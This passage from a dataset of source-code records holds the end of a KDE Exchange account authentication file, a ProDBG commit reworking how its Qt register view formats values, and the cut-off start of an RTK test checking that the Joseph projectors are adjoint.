authenticate( window->winId() );\n  else\n    authenticate();\n}\n\nvoid ExchangeAccount::authenticate()\n{\n\n  long windowId;\n  QWidgetList* widgets = QApplication::topLevelWidgets();\n  if ( widgets->isEmpty() )\n    windowId = 0;\n  else\n    windowId = widgets->first()->winId();\n  delete widgets;\n\n  authenticate( windowId );\n}\n\nvoid ExchangeAccount::authenticate( int windowId )\n{\n  kdDebug() << \"Entering ExchangeAccount::authenticate( windowId=\" << windowId << \" )\" << endl;\n\n  KIO::AuthInfo info;\n  info.url = baseURL();\n  info.username = mAccount;\n  info.password = mPassword;\n  info.realmValue = mHost;\n  info.digestInfo = \"Basic\";\n\n  DCOPClient *dcopClient = new DCOPClient();\n  dcopClient->attach();\n\n  QByteArray params;\n  QDataStream stream(params, IO_WriteOnly);\n  stream << info << windowId;\n\n  dcopClient->send( \"kded\", \"kpasswdserver\", \"addAuthInfo(KIO::AuthInfo, long int)\", params );\n\n  dcopClient->detach();\n  delete dcopClient;\n\n  mCalendarURL = 0;\n\n  calcFolderURLs();\n\n  QApplication::setOverrideCursor( KCursor::waitCursor() );\n  do {\n    qApp->processEvents();\n  } while ( !mCalendarURL );\n  QApplication::restoreOverrideCursor();  \n}\n\nvoid ExchangeAccount::calcFolderURLs()\n{\n  kdDebug() << \"Calculating folder URLs\" << endl;\n  QDomDocument doc;\n  QDomElement root = addElement( doc, doc, \"DAV:\", \"propfind\" );\n  QDomElement prop = addElement( doc, root, \"DAV:\", \"prop\" );\n  addElement( doc, prop, \"urn:schemas:httpmail:\", \"calendar\" );\n\/\/ For later use:\n\/\/ urn:schemas:httpmail:contacts Contacts \n\/\/ urn:schemas:httpmail:deleteditems Deleted Items \n\/\/ urn:schemas:httpmail:drafts Drafts \n\/\/ urn:schemas:httpmail:inbox Inbox \n\/\/ urn:schemas:httpmail:journal Journal \n\/\/ urn:schemas:httpmail:notes Notes \n\/\/ urn:schemas:httpmail:outbox Outbox \n\/\/ urn:schemas:httpmail:sentitems Sent Items \n\/\/ urn:schemas:httpmail:tasks Tasks \n\/\/ urn:schemas:httpmail:sendmsg Exchange Mail Submission URI \n\/\/ urn:schemas:httpmail:msgfolderroot Mailbox folder (root) \n\n  KIO::DavJob* job = KIO::davPropFind( baseURL(), doc, \"0\", false );\n  job->addMetaData( \"errorPage\", \"false\" );\n  connect( job, SIGNAL( result( KIO::Job * ) ), this, SLOT( slotFolderResult( KIO::Job * ) ) );\n}\n\nvoid ExchangeAccount::slotFolderResult( KIO::Job * job ) \n{\n  kdDebug() << \"ExchangeAccount::slotFolderResult()\" << endl;\n  if ( job->error() ) {\n    kdError() << \"Error: Cannot get well-know folder names; \" << job->error() << endl;\n    job->showErrorDialog( 0L );\n    return;\n  }\n  QDomDocument& response = static_cast<KIO::DavJob *>( job )->response();\n\n  QDomElement prop = response.documentElement().namedItem( \"response\" ).namedItem( \"propstat\" ).namedItem( \"prop\" ).toElement();\n \n  QDomElement calElement = prop.namedItem( \"calendar\" ).toElement();\n  if ( calElement.isNull() ) {\n    kdError() << \"Error: no calendar URL in Exchange server reply\" << endl;\n    return;\n  }\n  QString calendar = calElement.text();\n  mCalendarURL = new KURL( calendar );\n  if ( mCalendarURL->protocol() == \"https\" )\n    mCalendarURL->setProtocol(\"webdavs\");\n  else\n    mCalendarURL->setProtocol(\"webdav\");\n  kdDebug() << \"Calendar URL: \" << mCalendarURL->url() << endl;\n}\n\nQString ExchangeAccount::tryFindMailbox( const QString& host, const QString& user, const QString& password )\n{\n  kdDebug() << \"Entering ExchangeAccount::tryFindMailbox()\" << endl;\n\n  KURL url = KURL( \"http:\/\/\" + host + \"\/exchange\" );\n  url.setUser( user );\n  url.setPass( password );\n\n  QString tmpFile;\n  if ( !KIO::NetAccess::download( url, tmpFile ) )\n  {\n    kdWarning() << \"Trying to find mailbox failed: not able to download \" << url.prettyURL() << endl;\n    return QString::null;\n  }\n  QFile file( tmpFile );\n  if ( !file.open( IO_ReadOnly ) ) {\n    kdWarning() << \"Trying to find mailbox failed: not able to open temp file \" << tmpFile << endl;\n    KIO::NetAccess::removeTempFile( tmpFile );\n    return QString::null;\n  }\n\n  QTextStream stream( &file );\n  QString line;\n  QString result;\n  while ( !stream.eof() ) {\n      line = stream.readLine(); \/\/ line of text excluding '\\n'\n      int pos = line.find( \"<BASE href=\\\"\", 0, FALSE );\n      if ( pos < 0 )\n        continue;\n      int end = line.find( \"\\\"\", pos+12, FALSE );\n      if ( pos < 0 ) {\n        kdWarning() << \"Strange, found no closing quote in \" << line << endl;\n        continue;\n      } \n      QString mailboxString = line.mid( pos+12, end-pos-12 );\n      KURL mailbox( mailboxString );\n      if ( mailbox.isEmpty() ) {\n        kdWarning() << \"Strange, could not get URL from \" << mailboxString << \" in line \" << line << endl;\n        continue;\n      }\n      if ( mailbox.protocol() == \"https\" )\n        mailbox.setProtocol(\"webdavs\");\n      else\n        mailbox.setProtocol(\"webdav\");\n      kdDebug() << \"Found mailbox: \" << mailbox.prettyURL( -1 ) << endl;\n      result = mailbox.prettyURL( -1 ); \/\/ Strip ending slash from URL, if present\n    }\n    file.close();\n\n    KIO::NetAccess::removeTempFile( tmpFile );\n    return result;\n}\n\n#include \"exchangeaccount.moc\"\n<|endoftext|>"}
{"text":"<commit_before>#include \"Qt5Registers.h\"\n#include \"Qt5DebugSession.h\"\n#include \"ProDBGAPI.h\"\n#include \"core\/log.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace prodbg\n{\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nunion RegisterValue\n{\n\tdouble d;\n\tuint64_t u64;\n\tfloat f;\n\tuint32_t u32;\n\tuint16_t u16;\n\tuint8_t u8;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nenum ViewMode\n{\n\tViewMode_Hex,\n\tViewMode_Dec,\n\tViewMode_Float,\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nenum RegisterType\n{\n\tRegisterType_u8,\n\tRegisterType_u16,\n\tRegisterType_u32,\n\tRegisterType_u64,\n\tRegisterType_float,\n\tRegisterType_double\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct Register\n{\n\tRegisterValue value;\n\tchar name[64];\n\tint count;\t\t\t\t\t\/\/ number of \"internal\" registers (4 x u32 for SSE for example)\n\tRegisterType type;\t\t\/\/ \n\tViewMode viewMode;\n\tuint8_t readOnly;\n\tuint8_t statusFlags;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nQt5Registers::Qt5Registers(QWidget* parent) : QTreeWidget(parent)\n{\n\tsetColumnCount(3);\n\n\tQStringList headers;\n\theaders << \"Name\" << \"Value\";\n\n\tsetHeaderLabels(headers);\n\n\tg_debugSession->addRegisters(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nQt5Registers::~Qt5Registers()\n{\n\tg_debugSession->delRegisters(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void buildRegisterList(PDReader* reader, QVector<Register*>& registers)\n{\n\tPDReaderIterator it;\n\n\tPDRead_findArray(reader, &it, \"registers\", 0);\n\n\tif (!it)\n\t{\n\t\tlog_info(\"Unable to find any registers array\\n\");\n\t\treturn;\n\t}\n\n\twhile (PDRead_getNextEntry(reader, &it))\n\t{\n\t\tRegister* reg = 0;\n\n\t\tuint64_t regValue;\n\t\tconst char* name = \"\";\n\n\t\tQStringList temp;\n\n\t\tPDRead_findString(reader, &name, \"name\", it);\n\t\tint type = PDRead_findU64(reader, &regValue, \"register\", it);\n\n\t\t\/\/ find entry or insert\n\n\t\tfor (int i = 0, size = registers.size(); i < size; ++i)\n\t\t{\n\t\t\tif (!strcmp(name, registers[i]->name))\n\t\t\t{\n\t\t\t\treg = registers[i];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ insert the reg if we couldn't find it\n\n\t\tif (!reg)\n\t\t{\n\t\t\treg = new Register;\n\t\t\tmemset(reg, 0, sizeof(Register));\n\t\t\tstrcpy(reg->name, name); \n\t\t\tregisters.push_back(reg);\n\n\t\t\tprintf(\"readType %d\\n\", type & PDReadStatus_typeMask);\n\n\t\t\tswitch (type & PDReadStatus_typeMask)\n\t\t\t{\n\t\t\t\tcase PDReadType_u8 : reg->type = RegisterType_u8; break;\n\t\t\t\tcase PDReadType_u16 : reg->type = RegisterType_u16; break;\n\t\t\t\tcase PDReadType_u32 : reg->type = RegisterType_u32; break;\n\t\t\t\tcase PDReadType_u64 : reg->type = RegisterType_u64; break;\n\t\t\t\tcase PDReadType_float : reg->type = RegisterType_float; break;\n\t\t\t\tcase PDReadType_double : reg->type = RegisterType_double; break;\n\t\t\t}\n\n\t\t\tprintf(\"regType %d\\n\", reg->type);\n\t\t\t\n\t\t\tPDRead_findU8(reader, &reg->readOnly, \"read_only\", it);\n\t\t\tPDRead_findU8(reader, &reg->statusFlags, \"flags\", it);\n\t\t}\n\n\t\t\/\/ TODO: Handle if we have registers that are wider than 64-bit\n\n\t\treg->value.u64 = regValue;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TODO: Don clear this all the time but track changes instead\n\nstatic void fillList(QList<QTreeWidgetItem*>&items, QVector<Register*>& registers)\n{\n\tfor (int i = 0, size = registers.size(); i < size; ++i)\n\t{\n\t\tchar tempV[128];\n\t\tQStringList temp;\n\t\tRegister* reg = registers[i];\n\n\t\ttemp << reg->name;\n\n\t\tswitch (reg->type)\n\t\t{\n\t\t\tcase RegisterType_u8 : sprintf(tempV, \"%x\", reg->value.u8); break;\n\t\t\tcase RegisterType_u16 : sprintf(tempV, \"0x%04x\", reg->value.u16); break;\n\t\t\tcase RegisterType_u32 : sprintf(tempV, \"0x%08x\", reg->value.u32); break;\n\t\t\tcase RegisterType_u64 : sprintf(tempV, \"0x%08x\", (uint32_t)reg->value.u64); break;\n\t\t\tcase RegisterType_float : sprintf(tempV, \"%8.8f\", reg->value.f); break;\n\t\t\tcase RegisterType_double : sprintf(tempV, \"%8.8f\", reg->value.d); break;\n\t\t}\n\n\t\ttemp << tempV;\n\n\t\titems.append(new QTreeWidgetItem((QTreeWidget*)0, temp)); \n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Qt5Registers::update(PDReader* reader)\n{\n\tQList<QTreeWidgetItem*> items;\n\n\tclear();\n\n\tbuildRegisterList(reader, m_registers);\n\tfillList(items, m_registers);\n\n\tinsertTopLevelItems(0, items);\n}\n\n}\n\n<commit_msg>WIP on registers<commit_after>#include \"Qt5Registers.h\"\n#include \"Qt5DebugSession.h\"\n#include \"ProDBGAPI.h\"\n#include \"core\/log.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace prodbg\n{\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nunion RegisterValue\n{\n\tdouble d;\n\tuint64_t u64;\n\tfloat f;\n\tuint32_t u32;\n\tuint16_t u16;\n\tuint8_t u8;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nenum ViewMode\n{\n\tViewMode_Hex,\n\tViewMode_Dec,\n\tViewMode_Float,\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nenum RegisterType\n{\n\tRegisterType_u8,\n\tRegisterType_u16,\n\tRegisterType_u32,\n\tRegisterType_u64,\n\tRegisterType_float,\n\tRegisterType_double\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct Register\n{\n\tRegisterValue value;\n\tchar name[64];\n\tint count;\t\t\t\t\t\/\/ number of \"internal\" registers (4 x u32 for SSE for example)\n\tRegisterType type;\t\t\/\/ \n\tViewMode viewMode;\n\tuint8_t readOnly;\n\tuint8_t statusFlags;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nQt5Registers::Qt5Registers(QWidget* parent) : QTreeWidget(parent)\n{\n\tsetColumnCount(3);\n\n\tQStringList headers;\n\theaders << \"Name\" << \"Value\";\n\n\tsetHeaderLabels(headers);\n\n\tg_debugSession->addRegisters(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nQt5Registers::~Qt5Registers()\n{\n\tg_debugSession->delRegisters(this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void buildRegisterList(PDReader* reader, QVector<Register*>& registers)\n{\n\tPDReaderIterator it;\n\n\tPDRead_findArray(reader, &it, \"registers\", 0);\n\n\tif (!it)\n\t{\n\t\tlog_info(\"Unable to find any registers array\\n\");\n\t\treturn;\n\t}\n\n\twhile (PDRead_getNextEntry(reader, &it))\n\t{\n\t\tRegister* reg = 0;\n\n\t\tuint64_t regValue;\n\t\tconst char* name = \"\";\n\n\t\tQStringList temp;\n\n\t\tPDRead_findString(reader, &name, \"name\", it);\n\t\tint type = PDRead_findU64(reader, &regValue, \"register\", it);\n\n\t\t\/\/ find entry or insert\n\n\t\tfor (int i = 0, size = registers.size(); i < size; ++i)\n\t\t{\n\t\t\tif (!strcmp(name, registers[i]->name))\n\t\t\t{\n\t\t\t\treg = registers[i];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ insert the reg if we couldn't find it\n\n\t\tif (!reg)\n\t\t{\n\t\t\treg = new Register;\n\t\t\tmemset(reg, 0, sizeof(Register));\n\t\t\tstrcpy(reg->name, name); \n\t\t\tregisters.push_back(reg);\n\n\t\t\tswitch (type & PDReadStatus_typeMask)\n\t\t\t{\n\t\t\t\tcase PDReadType_u8 : reg->type = RegisterType_u8; break;\n\t\t\t\tcase PDReadType_u16 : reg->type = RegisterType_u16; break;\n\t\t\t\tcase PDReadType_u32 : reg->type = RegisterType_u32; break;\n\t\t\t\tcase PDReadType_u64 : reg->type = RegisterType_u64; break;\n\t\t\t\tcase PDReadType_float : reg->type = RegisterType_float; break;\n\t\t\t\tcase PDReadType_double : reg->type = RegisterType_double; break;\n\t\t\t}\n\n\t\t\tPDRead_findU8(reader, &reg->readOnly, \"read_only\", it);\n\t\t\tPDRead_findU8(reader, &reg->statusFlags, \"flags\", it);\n\t\t}\n\n\t\t\/\/ TODO: Handle if we have registers that are wider than 64-bit\n\n\t\treg->value.u64 = regValue;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TODO: Don clear this all the time but track changes instead\n\nstatic void fillList(QList<QTreeWidgetItem*>&items, QVector<Register*>& registers)\n{\n\tfor (int i = 0, size = registers.size(); i < size; ++i)\n\t{\n\t\tQStringList temp;\n\t\tQString tempV;\n\n\t\tRegister* reg = registers[i];\n\n\t\ttemp << reg->name;\n\n\t\tswitch (reg->type)\n\t\t{\n\t\t\tcase RegisterType_u8 : temp << tempV.sprintf(\"0x%x\", reg->value.u8); break;\n\t\t\tcase RegisterType_u16 : temp << tempV.sprintf(\"0x%04x\", reg->value.u16); break;\n\t\t\tcase RegisterType_u32 : temp << tempV.sprintf(\"0x%08x\", reg->value.u32); break;\n\t\t\tcase RegisterType_u64 : temp << tempV.sprintf(\"0x%016llx\", reg->value.u64); break;\n\t\t\tcase RegisterType_float : temp << tempV.sprintf(\"%8.8f\", reg->value.f); break;\n\t\t\tcase RegisterType_double : temp << tempV.sprintf(\"%8.8f\", reg->value.d); break;\n\t\t}\n\n\t\titems.append(new QTreeWidgetItem((QTreeWidget*)0, temp)); \n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Qt5Registers::update(PDReader* reader)\n{\n\tQList<QTreeWidgetItem*> items;\n\n\tclear();\n\n\tbuildRegisterList(reader, m_registers);\n\tfillList(items, m_registers);\n\n\tinsertTopLevelItems(0, items);\n}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <itkImageRegionConstIterator.h>\n\n#include \"rtkTestConfiguration.h\"\n\/\/#include \"rtkDrawEllipsoidImageFilter.h\"\n\/\/#include \"rtkRayEllipsoidIntersectionImageFilter.h\"\n#include \"itkRandomImageSource.h\"\n#include \"rtkConstantImageSource.h\"\n#include \"rtkJosephBackProjectionImageFilter.h\"\n#include \"rtkJosephForwardProjectionImageFilter.h\"\n\n\/\/#ifdef USE_CUDA\n\/\/  #include \"rtkCudaBackProjectionImageFilter.h\"\n\/\/  #include \"rtkCudaSARTConeBeamReconstructionFilter.h\"\n\/\/  #include \"itkCudaImage.h\"\n\/\/#else\n\/\/  #include \"rtkSARTConeBeamReconstructionFilter.h\"\n\/\/#endif\n\ntemplate<class TImage>\n#if FAST_TESTS_NO_CHECKS\nvoid CheckScalarProducts(typename TImage::Pointer itkNotUsed(recon), typename TImage::Pointer itkNotUsed(ref))\n{\n}\n#else\nvoid CheckScalarProducts(typename TImage::Pointer vol1, typename TImage::Pointer vol2,typename TImage::Pointer proj1, typename TImage::Pointer proj2)\n{\n  typedef itk::ImageRegionConstIterator<TImage> ImageIteratorType;\n  ImageIteratorType itVol1( vol1, vol1->GetBufferedRegion() );\n  ImageIteratorType itVol2( vol2, vol2->GetBufferedRegion() );\n  ImageIteratorType itProj1( proj1, proj1->GetBufferedRegion() );\n  ImageIteratorType itProj2( proj2, proj2->GetBufferedRegion() );\n\n  typename TImage::PixelType scalarProductVols, scalarProductProjs;\n  scalarProductVols = 0;\n  scalarProductProjs = 0;\n\n  while( !itVol1.IsAtEnd() )\n    {\n    scalarProductVols += itVol1.Get() * itVol2.Get();\n    ++itVol1;\n    ++itVol2;\n    }\n\n  while( !itProj1.IsAtEnd() )\n    {\n    scalarProductProjs += itProj1.Get() * itProj2.Get();\n    ++itProj1;\n    ++itProj2;\n    }\n  \n  \/\/ QI\n  double ratio = scalarProductVols \/ scalarProductProjs;\n  std::cout << \"ratio = \" << ratio << std::endl;\n\n  \/\/ Checking results\n  if (vcl_abs(ratio-1)>0.0001)\n  {\n    std::cerr << \"Test Failed, ratio not valid! \"\n              << ratio-1 << \" instead of 0.0001\" << std::endl;\n    exit( EXIT_FAILURE);\n  }\n}\n#endif\n\n\/**\n * \\file rtkjosephadjointoperatorstest.cxx\n *\n * \\brief Tests whether Joseph forward and back projectors are matched\n *\n * This test generates a random volume \"v\" and a random set of projections \"p\",\n * and compares the scalar products <Rv , p> and <v, R* p>, where R is the \n * Joseph forward projector and R* is the Joseph back projector. If R* is indeed \n * the adjoint of R, these scalar products are equal.\n *\n * \\author Cyril Mory\n *\/\n\nint main(int, char** )\n{\n  const unsigned int Dimension = 3;\n  typedef float                                    OutputPixelType;\n\n#ifdef USE_CUDA\n  typedef itk::CudaImage< OutputPixelType, Dimension > OutputImageType;\n#else\n  typedef itk::Image< OutputPixelType, Dimension > OutputImageType;\n#endif\n\n#if FAST_TESTS_NO_CHECKS\n  const unsigned int NumberOfProjectionImages = 3;\n#else\n  const unsigned int NumberOfProjectionImages = 180;\n#endif\n\n\n  \/\/ Random image sources\n  typedef itk::RandomImageSource< OutputImageType > RandomImageSourceType;\n  RandomImageSourceType::Pointer randomVolumeSource  = RandomImageSourceType::New();\n  RandomImageSourceType::Pointer randomProjectionsSource = RandomImageSourceType::New();\n\n  \/\/ Constant sources\n  typedef rtk::ConstantImageSource< OutputImageType > ConstantImageSourceType;\n  ConstantImageSourceType::Pointer constantVolumeSource = ConstantImageSourceType::New();\n  ConstantImageSourceType::Pointer constantProjectionsSource = ConstantImageSourceType::New();\n  \n  \/\/ Image meta data\n  RandomImageSourceType::PointType origin;\n  RandomImageSourceType::SizeType size;\n  RandomImageSourceType::SpacingType spacing;\n\n\n  \/\/ Volume metadata\n  origin[0] = -127.;\n  origin[1] = -127.;\n  origin[2] = -127.;\n#if FAST_TESTS_NO_CHECKS\n  size[0] = 2;\n  size[1] = 2;\n  size[2] = 2;\n  spacing[0] = 252.;\n  spacing[1] = 252.;\n  spacing[2] = 252.;\n#else\n  size[0] = 64;\n  size[1] = 64;\n  size[2] = 64;\n  spacing[0] = 4.;\n  spacing[1] = 4.;\n  spacing[2] = 4.;\n#endif\n  randomVolumeSource->SetOrigin( origin );\n  randomVolumeSource->SetSpacing( spacing );\n  randomVolumeSource->SetSize( size );\n  randomVolumeSource->SetMin( 0. );\n  randomVolumeSource->SetMax( 1. );\n  randomVolumeSource->SetNumberOfThreads(2); \/\/With 1, it's deterministic\n\n  constantVolumeSource->SetOrigin( origin );\n  constantVolumeSource->SetSpacing( spacing );\n  constantVolumeSource->SetSize( size );\n  constantVolumeSource->SetConstant( 0. );\n\n  \/\/ Projections metadata\n  origin[0] = -255.;\n  origin[1] = -255.;\n  origin[2] = -255.;\n#if FAST_TESTS_NO_CHECKS\n  size[0] = 2;\n  size[1] = 2;\n  size[2] = NumberOfProjectionImages;\n  spacing[0] = 504.;\n  spacing[1] = 504.;\n  spacing[2] = 504.;\n#else\n  size[0] = 64;\n  size[1] = 64;\n  size[2] = NumberOfProjectionImages;\n  spacing[0] = 8.;\n  spacing[1] = 8.;\n  spacing[2] = 8.;\n#endif\n  randomProjectionsSource->SetOrigin( origin );\n  randomProjectionsSource->SetSpacing( spacing );\n  randomProjectionsSource->SetSize( size );\n  randomProjectionsSource->SetMin( 0. );\n  randomProjectionsSource->SetMax( 100. );\n  randomProjectionsSource->SetNumberOfThreads(2); \/\/With 1, it's deterministic\n\n  constantProjectionsSource->SetOrigin( origin );\n  constantProjectionsSource->SetSpacing( spacing );\n  